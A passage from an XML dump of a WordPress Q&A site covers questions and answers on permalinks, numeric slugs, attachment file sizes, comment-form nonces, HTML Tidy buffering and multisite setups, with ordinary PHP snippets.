href=&quot;http://www.scribd.com/doc/2569355/Geo-Distance-Search-with-MySQL&quot; rel=&quot;nofollow&quot;&gt;http://www.scribd.com/doc/2569355/Geo-Distance-Search-with-MySQL&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://developer.yahoo.com/maps/rest/V1/geocode.html&quot; rel=&quot;nofollow&quot;&gt;http://developer.yahoo.com/maps/rest/V1/geocode.html&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://geocoder.us/&quot; rel=&quot;nofollow&quot;&gt;http://geocoder.us/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h2&gt;Regarding Sphinx Search&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://sphinxsearch.com/&quot; rel=&quot;nofollow&quot;&gt;http://sphinxsearch.com/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://launchpad.net/wp-sphinx-plugin&quot; rel=&quot;nofollow&quot;&gt;https://launchpad.net/wp-sphinx-plugin&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://forums.site5.com/showthread.php?t=28981&quot; rel=&quot;nofollow&quot;&gt;http://forums.site5.com/showthread.php?t=28981&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/wordpress-sphinx-plugin/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/wordpress-sphinx-plugin/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/sphinx-search/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/sphinx-search/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.mysqlperformanceblog.com/2008/02/15/mysql-performance-blog-now-uses-sphinx-for-site-search/&quot; rel=&quot;nofollow&quot;&gt;http://www.mysqlperformanceblog.com/2008/02/15/mysql-performance-blog-now-uses-sphinx-for-site-search/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="89" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-10-09T00:48:59.533" LastActivityDate="2011-03-07T23:12:39.127" Title="Optimizing a Proximity-based Store Location Search on a Shared Web Host?" Tags="&lt;optimization&gt;&lt;geo-data&gt;&lt;store-locator&gt;&lt;location-search&gt;" AnswerCount="4" FavoriteCount="1" />
  <row Id="469" PostTypeId="1" AcceptedAnswerId="3212" CreationDate="2010-08-18T03:46:16.987" Score="2" ViewCount="916" Body="&lt;p&gt;I run a WordPress site with about 70 active plugins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Every so often, I'll get a random error page (&quot;Not Found&quot;, though I haven't checked the headers to see if it's a 404) on a &lt;code&gt;/wp-admin/&lt;/code&gt; page that pops up out of nowhere.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Simply trying again resolves the error, however it's quite inconvenient if the error happens during a plugin upgrade (because the auto-reactivation fails). I think this same issue is responsible for certain modules on my Dashboard failing to load sometimes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Given the &lt;a href=&quot;http://technobabbl.es/about/&quot; rel=&quot;nofollow&quot;&gt;list of plugins I have installed&lt;/a&gt;, does anyone know of issues with or between any of them that might cause this problem?&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Edit:&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Hosting info: DreamHost; I think the server's running a custom Debian build with Apache httpd&lt;/p&gt;&#xA;" OwnerUserId="166" LastEditorUserId="166" LastEditorDisplayName="" LastEditDate="2010-10-23T20:52:48.120" LastActivityDate="2010-10-23T20:52:48.120" Title="How to eliminate weird 404 errors in wp-admin?" Tags="&lt;plugins&gt;&lt;wp-admin&gt;&lt;errors&gt;&lt;404-error&gt;&lt;debug&gt;" AnswerCount="4" CommentCount="5" />
  <row Id="470" PostTypeId="2" ParentId="468" CreationDate="2010-08-18T06:40:02.157" Score="0" ViewCount="" Body="&lt;p&gt;Just pre-calculate the distances between all entities. I would store that into a database table on it's own, with the ability to index values.&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2010-08-18T06:40:02.157" CommentCount="4" />
  <row Id="471" PostTypeId="2" ParentId="266" CreationDate="2010-08-18T07:27:10.800" Score="3" ViewCount="" Body="&lt;p&gt;It always depends on the point of view. A webhost should offer&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;much RAM&lt;/li&gt;&#xA;&lt;li&gt;much more RAM&lt;/li&gt;&#xA;&lt;li&gt;much CPU&lt;/li&gt;&#xA;&lt;li&gt;much more CPU&lt;/li&gt;&#xA;&lt;li&gt;a separated Database Server from the Server hosting the Website (HTTP Server)&lt;/li&gt;&#xA;&lt;li&gt;to setup the Database as Master/Client&lt;/li&gt;&#xA;&lt;li&gt;to automatically outsource Files to a (private or public) CDN&lt;/li&gt;&#xA;&lt;li&gt;a hosting service for comments so they don't rely on your blog (like outsourcing Comments to Disqus)&lt;/li&gt;&#xA;&lt;li&gt;automatically cache your wordpress site with a special, wordpress aware caching module &#xA;running in apache.&lt;/li&gt;&#xA;&lt;li&gt;a Bytecache like xcache (to complete the list for Zend Optimizer, APC etc. that were already named)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="178" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2010-08-18T08:06:19.023" LastActivityDate="2010-08-18T08:06:19.023" CommunityOwnedDate="2010-08-18T07:27:10.800" CommentCount="3" />
  <row Id="472" PostTypeId="2" ParentId="461" CreationDate="2010-08-18T07:40:43.030" Score="1" ViewCount="" Body="&lt;p&gt;You can buffer the whole output of your site and then tidy it up into compliant HTML. Best of it is, that this can be done fully automated:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Tidy Utility: &lt;a href=&quot;http://tidy.sourceforge.net/&quot; rel=&quot;nofollow&quot;&gt;http://tidy.sourceforge.net/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;PHP tidy package: &lt;a href=&quot;http://pecl.php.net/package/tidy&quot; rel=&quot;nofollow&quot;&gt;http://pecl.php.net/package/tidy&lt;/a&gt; (for PHP 4, bundeled in PHP 5)&lt;/li&gt;&#xA;&lt;li&gt;More info: &lt;a href=&quot;http://www.coggeshall.org/code/tidy/&quot; rel=&quot;nofollow&quot;&gt;http://www.coggeshall.org/code/tidy/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;You can enable output buffering on theme init or related hooks (e.g. *setup_theme* hook).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are two code fragments. First one shows that you start output buffering and read out the buffer later on:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;ob_start();&#xA;?&amp;gt;&#xA;  …&#xA;&amp;lt;?php&#xA;$buffer = ob_get_clean();&#xA;$tidy = tidy_repair_string($buffer);&#xA;echo $tidy;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Second one shows some of the configuration options in action:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/* Tiny Configuration */&#xA;$config[&quot;clean&quot;]         = true;&#xA;$config[&quot;hide-comments&quot;] = true;&#xA;$config[&quot;output-xhtml&quot;]  = true;&#xA;$config[&quot;indent-spaces&quot;] = 2;&#xA;$config[&quot;tab-size&quot;]      = 2;&#xA;$config[&quot;wrap&quot;]          = 0;&#xA;&#xA;$buffer = ob_get_clean();&#xA;$tidy   = tidy_repair_string($buffer, $config);&#xA;&#xA;echo $tidy;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I bet there is already an existing wordpress plugin for doing so. Let's see: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/htmltidy-for-wordpress/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/htmltidy-for-wordpress/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/tidy-up/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/tidy-up/&lt;/a&gt; (ships with tidy binaries which could be considered bloat)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="178" LastActivityDate="2010-08-18T07:40:43.030" CommentCount="1" />
  <row Id="473" PostTypeId="2" ParentId="273" CreationDate="2010-08-18T07:52:18.150" Score="0" ViewCount="" Body="&lt;p&gt;There is not much benefit in upgrading to WP 3.0, so it's wise to think twice. To remove the update nag, you can use a plugin as well:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;No Update Nag Wordpress Plugin: &lt;a href=&quot;http://coffee2code.com/wp-plugins/no-update-nag/&quot; rel=&quot;nofollow&quot;&gt;http://coffee2code.com/wp-plugins/no-update-nag/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="178" LastActivityDate="2010-08-18T07:52:18.150" />
  <row Id="474" PostTypeId="2" ParentId="322" CreationDate="2010-08-18T07:57:18.467" Score="2" ViewCount="" Body="&lt;p&gt;The correct place is the current setting I would say. So if you now use one upload folder (instead of years / month subfolders) go with that one (might get very full, but easier to sort. So just moving all files from the year / month subdirectories into the uploads directory and changing the URL-Paths in the database should normally do the job.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After all is in one folder (and sorted), you can change the folder design again, and move files into the correct directory with a PHP script that reads out the date from database. The exact same script needs to adopt URL paths again as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That's something like the exact same script that mike suggested.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Right now, the WP UI does not support to manually move or rename files, so you're bound to some own code. Which would make sense for a batch anyway.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Existing and Related Plugins&lt;/h3&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/add-from-server/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Add From Server (Wordpress Plugin)&lt;/strong&gt;&lt;/a&gt; - &quot;Add From Server&quot; is a quick plugin which allows you to import media &amp;amp; files into the WordPress uploads manager from the Webservers filesystem&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="178" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2010-09-04T12:08:54.530" LastActivityDate="2010-09-04T12:08:54.530" />
  <row Id="475" PostTypeId="2" ParentId="394" CreationDate="2010-08-18T08:22:15.753" Score="0" ViewCount="" Body="&lt;p&gt;I'm not too sure that this is what you are looking for, but if you use a third party comment management system like &lt;a href=&quot;http://disqus.com&quot; rel=&quot;nofollow&quot;&gt;Disqus&lt;/a&gt; wouldn't it work?&lt;/p&gt;&#xA;" OwnerUserId="138" LastActivityDate="2010-08-18T08:22:15.753" />
  <row Id="476" PostTypeId="2" ParentId="199" CreationDate="2010-08-18T08:46:43.200" Score="3" ViewCount="" Body="&lt;p&gt;Use a database class that is trimmed for optimization. We made good experiences with own code to reduce memory usage and database access speed. Next to that, you can optimize the database structure itself by some small changes that do a lot as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Part of the database class code can be found in the wordpress trac, it did not made it into core (Ticket #11799 and related).&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2010-08-18T08:46:43.200" CommentCount="1" />
  <row Id="477" PostTypeId="1" AcceptedAnswerId="479" CreationDate="2010-08-18T09:11:08.040" Score="4" ViewCount="1011" Body="&lt;p&gt;I'm using the following template code to display attachment links:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$args = array(&#xA;    'post_type' =&amp;gt; 'attachment',&#xA;    'numberposts' =&amp;gt; -1,&#xA;    'post_status' =&amp;gt; null,&#xA;    'post_parent' =&amp;gt; $main_post_id&#xA;);&#xA;&#xA;$attachments = get_posts($args);&#xA;&#xA;foreach ($attachments as $attachment)&#xA;{&#xA;    the_attachment_link($attachment-&amp;gt;ID, false);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but after the link I need to display the file's size. How can I do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm guessing I could determine the file's path (via &lt;code&gt;wp_upload_dir()&lt;/code&gt; and a &lt;code&gt;substr()&lt;/code&gt; of &lt;code&gt;wp_get_attachment_url()&lt;/code&gt;) and call &lt;code&gt;filesize()&lt;/code&gt; but that seems messy, and I'm just wondering if there's a method built into wordpress.&lt;/p&gt;&#xA;" OwnerUserId="119" LastEditorUserId="119" LastEditorDisplayName="" LastEditDate="2010-08-18T09:17:37.200" LastActivityDate="2011-07-05T14:17:04.413" Title="How do I get the size of an attachment file?" Tags="&lt;template&gt;&lt;attachments&gt;" AnswerCount="3" CommentCount="1" FavoriteCount="1" />
  <row Id="478" PostTypeId="1" AcceptedAnswerId="480" CreationDate="2010-08-18T09:15:01.317" Score="5" ViewCount="212" Body="&lt;p&gt;I was wondering about the impact nonces would have on the default comment form a theme has. Because &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_nonce_field&quot; rel=&quot;nofollow&quot;&gt;Nonces are a built-in feature of WordPress&lt;/a&gt; I thought about giving it a try.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;&lt;strong&gt;Does somebody has already implemented nonces in the standard comment form?&lt;/em&gt;&lt;/strong&gt; (can't imagine that I'm the first one who thinks about that... !)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone suggest an already existing plugin that does the job or provide a code snippet that integrates the WP Nonce Field into the themes comment form and checks for it when the form gets submitted?&lt;/p&gt;&#xA;" OwnerUserId="178" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2010-08-19T07:38:48.693" LastActivityDate="2010-08-19T07:38:48.693" Title="Experiences with adding Nonces to the comment form" Tags="&lt;plugins&gt;&lt;themes&gt;&lt;comments&gt;&lt;spam&gt;" AnswerCount="1" />
  <row Id="479" PostTypeId="2" ParentId="477" CreationDate="2010-08-18T09:17:00.663" Score="6" ViewCount="" Body="&lt;p&gt;As far as I know, WordPress has nothing built in for this, I would just do:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;filesize( get_attached_file( $attachment-&amp;gt;ID ) );&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2010-08-18T09:17:00.663" CommentCount="1" />
  <row Id="480" PostTypeId="2" ParentId="478" CreationDate="2010-08-18T09:26:52.603" Score="3" ViewCount="" Body="&lt;p&gt;I haven't done this personally, but it would be pretty easy. If you are building your comment form manually, just before the end of the &lt;code&gt;&amp;lt;/form&amp;gt;&lt;/code&gt; put:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;?php wp_nonce_field( 'comment_nonce' ) ?&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, just hook into the &lt;code&gt;pre_comment_on_post&lt;/code&gt; action which fires when you submit a comment:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'pre_comment_on_post', 'my_verify_comment_nonce' );&#xA;&#xA;function my_verify_comment_nonce() {&#xA;&#xA;    check_admin_referer( 'comment_nonce' );&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you want to just hook into the standard comment form that Twenty Ten uses (&lt;code&gt;comment_form()&lt;/code&gt;) then you could instead hook into &lt;code&gt;comment_form&lt;/code&gt; like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'comment_form', 'my_add_comment_nonce_to_form' );&#xA;&#xA;function my_add_comment_nonce_to_form() {&#xA;&#xA;    wp_nonce_field( 'comment_nonce' );&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Not tested, so let me know if you have any issues!&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2010-08-18T09:26:52.603" CommentCount="3" />
  <row Id="481" PostTypeId="1" CreationDate="2010-08-18T09:48:41.017" Score="0" ViewCount="279" Body="&lt;p&gt;Is it possible to use a number for a post/page slug?  I have tried to use e.g. '123' for my page slug, but each time WordPress converts it to '123-2'.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm guessing that any number is perhaps interpreted by WP as an ID.  The number I want to use has nothing to do with post/page IDs.  Can I get around this?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;And yes, I have a good reason for using a number in stead of text in this case :-)  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit:  On a related, more general note, what restrictions are there on what you can put in a slug?  I have found that I also can't use the + sign, though I've had that character in file names working just fine.&lt;/p&gt;&#xA;" OwnerUserId="106" LastEditorUserId="106" LastEditorDisplayName="" LastEditDate="2010-08-18T13:49:32.143" LastActivityDate="2010-08-19T18:32:08.057" Title="Can I use a number for a post/page slug?" Tags="&lt;slug&gt;" AnswerCount="4" />
  <row Id="482" PostTypeId="2" ParentId="420" CreationDate="2010-08-18T10:02:43.397" Score="2" ViewCount="" Body="&lt;p&gt;I use the &lt;a href=&quot;http://eskapism.se/code-playground/cms-tree-page-view/&quot; rel=&quot;nofollow&quot;&gt;CMS Tree View plugin&lt;/a&gt;, and it works very well.  It collapses all your pages under their parent pages, among other features.&lt;/p&gt;&#xA;" OwnerUserId="106" LastActivityDate="2010-08-18T10:02:43.397" CommentCount="3" />
  <row Id="483" PostTypeId="1" AcceptedAnswerId="488" CreationDate="2010-08-18T10:11:12.830" Score="4" ViewCount="377" Body="&lt;p&gt;A static front page and other pages which are children of it are used on a blog. To give an example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;www.example.com&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The slug for that page shows up in the permalink for sub pages like www.example.com/long-slug-from-static-front-page/sub-page-slug.html.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The question now is how to make the URL Design more natural? Since the parent page is the frontpage, it's slug should be the sites homepage-URL (e.g. none as in &lt;a href=&quot;http://www.example.com/&quot; rel=&quot;nofollow&quot;&gt;http://www.example.com/&lt;/a&gt;) but the static pages slug is added instead.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I smell that this is a shortcoming in wordpress, any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was asked to make the scenario more concrete by an Illustration because it was quite akward describben. Sorry. Aim is to use WordPress as a CMS to reflect the following structure (please not the other way round):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Illustration:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Logical Data and it's Structure:&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Start&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Blue&lt;/li&gt;&#xA;&lt;li&gt;Red&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Dark Red&lt;/li&gt;&#xA;&lt;li&gt;Light Red&lt;/li&gt;&#xA;&lt;li&gt;Burned Red&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;Yellow&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Mapping of Data to Pages:&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Start: Home-Page&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Blue: Blue-Page&lt;/li&gt;&#xA;&lt;li&gt;Red: Red-Page&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Dark Red: Dark Red-Page&lt;/li&gt;&#xA;&lt;li&gt;Light Red: Light Red-Page&lt;/li&gt;&#xA;&lt;li&gt;Burned Red: Burned Red-Page&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;Yellow: Yellow-Page&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;URL Layout:&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Home-Page: &lt;a href=&quot;http://example.com/&quot; rel=&quot;nofollow&quot;&gt;http://example.com/&lt;/a&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Blue-Page: &lt;a href=&quot;http://example.com/blue/&quot; rel=&quot;nofollow&quot;&gt;http://example.com/blue/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Red-Page: &lt;a href=&quot;http://example.com/red/&quot; rel=&quot;nofollow&quot;&gt;http://example.com/red/&lt;/a&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Dark Red-Page: &lt;a href=&quot;http://example.com/red/dark/&quot; rel=&quot;nofollow&quot;&gt;http://example.com/red/dark/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Light Red-Page: &lt;a href=&quot;http://example.com/red/light/&quot; rel=&quot;nofollow&quot;&gt;http://example.com/red/light/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Burned Red-Page: &lt;a href=&quot;http://example.com/red/burned/&quot; rel=&quot;nofollow&quot;&gt;http://example.com/red/burned/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;Yellow-Page: &lt;a href=&quot;http://example.com/yellow/&quot; rel=&quot;nofollow&quot;&gt;http://example.com/yellow/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Is wordpress the tool for the job? Or does using page hierarchy and static front-page contradicts the URL layout?&lt;/p&gt;&#xA;" OwnerUserId="178" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2010-08-19T07:29:58.670" LastActivityDate="2010-08-19T07:29:58.670" Title="Natural URL Design and static front page" Tags="&lt;homepage&gt;&lt;slug&gt;&lt;urls&gt;&lt;static&gt;" AnswerCount="3" FavoriteCount="1" />
  <row Id="484" PostTypeId="2" ParentId="483" CreationDate="2010-08-18T10:30:48.990" Score="1" ViewCount="" Body="&lt;p&gt;Not exactly, WordPress determines it's query from the URL structure, so:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;www.example.com/my-sub-page/&lt;/code&gt; would be the exact same structure as &lt;code&gt;www.example.com/my-other-top-level-page&lt;/code&gt;, so WordPress would have no way to tell if you are looking for a subpage or a top level page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Having said that, I don't think WordPress lets you have the same slug for a sub level page and a top level page - so there &lt;em&gt;shouldn't&lt;/em&gt; be a reason. If you require that permalink structure, why not just have your &quot;sub pages&quot; as top level pages. If you want them to be at &lt;code&gt;www.example.com/my-sub-page/&lt;/code&gt; then it sounds like they are pretty 'top level' anyway.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2010-08-18T10:30:48.990" CommentCount="6" />
  <row Id="485" PostTypeId="2" ParentId="481" CreationDate="2010-08-18T11:47:15.210" Score="1" ViewCount="" Body="&lt;p&gt;Short answer: Yes, it's possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I had no problems to use a numbered slug, on concrete it was &quot;56789&quot;. The -2 get's attached in case you have a slug already in use so it get's prefixed with a additional number.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It does generally work because a slug is a string and those numbers are a string as well, there is no interpreter running identifying your slug suggestion as number and then handling it in some other way as identifying as english words.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So you could browse your blog with the slug 123 and take a look what's there. Additionally you might take a peek in your database and look for the slug in the data itself, because it might get used in an attachment or so.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt; I can have the slug &lt;code&gt;123&lt;/code&gt; as well - just for the info. No problem with that number and this pretty permalink settings: &lt;code&gt;/%year%/%monthnum%/%postname%&lt;/code&gt; .&lt;/p&gt;&#xA;" OwnerUserId="178" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2010-08-18T15:26:23.717" LastActivityDate="2010-08-18T15:26:23.717" CommentCount="3" />
  <row Id="486" PostTypeId="2" ParentId="481" CreationDate="2010-08-18T11:48:18.547" Score="0" ViewCount="" Body="&lt;p&gt;I'm pretty sure it's not possible to use numbers for slugs due to the fact that the url rewriting process. I don't know the exact technical reason for it but I can see why it would need to prevent numeric slugs from matching the actual numeric page ID.&lt;/p&gt;&#xA;" OwnerUserId="184" LastActivityDate="2010-08-18T11:48:18.547" />
  <row Id="487" PostTypeId="1" AcceptedAnswerId="494" CreationDate="2010-08-18T13:09:56.417" Score="1" ViewCount="157" Body="&lt;p&gt;Is there anyway to create blogs with 2 depths using multisite? I want to have an installation in root and blogs with 2 depths. Something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/         - WP installation: root aggregate &#xA;/foo      - WP installation: aggregate for a topic&#xA;/foo/item - WP installation: blog for an item&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Trouble is that multisite only goes in one level. Other problem is that if I install in root, then I'm afraid that this blog takes everything bellow. So my questions are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Is it possible to do an installation of a blog inside another blog? &#xA;or&lt;/li&gt;&#xA;&lt;li&gt;Is it possible to get multisite to allow for 2 depth levels? &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Thank you.&lt;/p&gt;&#xA;" OwnerUserId="88" LastEditorUserId="88" LastEditorDisplayName="" LastEditDate="2010-08-18T19:45:19.850" LastActivityDate="2011-03-17T12:05:40.877" Title="Depth &gt; 2 possible with multisite?" Tags="&lt;multisite&gt;&lt;directories&gt;" AnswerCount="3" />
  <row Id="488" PostTypeId="2" ParentId="483" CreationDate="2010-08-18T13:34:32.193" Score="2" ViewCount="" Body="&lt;p&gt;WordPress does have a way of doing what you want. Make them all top level pages. Unless you have a good reason not to.&lt;/p&gt;&#xA;" OwnerUserId="11" LastActivityDate="2010-08-18T13:34:32.193" CommentCount="3" />
  <row Id="489" PostTypeId="1" AcceptedAnswerId="499" CreationDate="2010-08-18T13:38:16.850" Score="1" ViewCount="496" Body="&lt;p&gt;I have been working on an image gallery feature where I grab images which are attached to pages and display them in various places via the &lt;code&gt;get_posts()&lt;/code&gt; function. However, I am finding that when I remove images from the page that they have been placed that they still seem to be set as attachments. I'm just wondering if there's something I'm mis-understanding about attachments or if this is buggy behaviour?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It may be worth me adding that I am getting images as attachments of pages because I need to be able to categorise the images and display them via categories in different places on the site. If I was able to categorise images directly I realise I wouldn't need to worry about this problem I'm encountering!&lt;/p&gt;&#xA;" OwnerUserId="184" LastActivityDate="2010-10-25T18:09:29.223" Title="Image still linked as attachment to page even though it has been deleted" Tags="&lt;images&gt;&lt;attachments&gt;" AnswerCount="4" CommentCount="6" />
  <row Id="490" PostTypeId="2" ParentId="489" CreationDate="2010-08-18T13:48:39.023" Score="0" ViewCount="" Body="&lt;p&gt;Just a vague guess, but might you be getting attachments from all revisions / statuses of pages? If you limit the &lt;code&gt;get_posts()&lt;/code&gt; call to only published posts/pages, you might see the image in question disappear.&lt;/p&gt;&#xA;" OwnerUserId="119" LastActivityDate="2010-08-18T13:48:39.023" CommentCount="5" />
  <row Id="491" PostTypeId="2" ParentId="489" CreationDate="2010-08-18T13:50:00.130" Score="1" ViewCount="" Body="&lt;p&gt;I've never played with this, but you can attach taxonomies to attachments (either built in or custom) like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;register_taxonomy_for_object_type( 'category', 'attachment' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hook that onto &lt;code&gt;'init'&lt;/code&gt; to be able to categorize attachments according to category.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know how you're 'removing' the image, but if you're deleting it from WordPress, it shouldn't be set as an attachment for that page anymore.  The other way to unset the image as an attachment is by going into the database and removing the page id from the attachment's &lt;code&gt;'post_parent'&lt;/code&gt; column.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might also look into the &lt;a href=&quot;http://wordpress.org/extend/plugins/file-gallery/&quot; rel=&quot;nofollow&quot;&gt;File Gallery&lt;/a&gt; plugin. It does a lot more than you might be interested in, but it lets you unattach images from posts.&lt;/p&gt;&#xA;" OwnerUserId="11" LastActivityDate="2010-08-18T13:50:00.130" CommentCount="2" />
  <row Id="492" PostTypeId="2" ParentId="487" CreationDate="2010-08-18T13:59:14.350" Score="1" ViewCount="" Body="&lt;p&gt;I don't think Multisite allows multi-depth sites (like, a child site of a site?), but there's no reason you can't have multiple installations of WP within each other. I'm not sure exactly what you're trying to do, but I do know that WordPress always gives precedence to physical directories.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You will run into authentication problems with different installations, though.&lt;/p&gt;&#xA;" OwnerUserId="11" LastActivityDate="2010-08-18T13:59:14.350" />
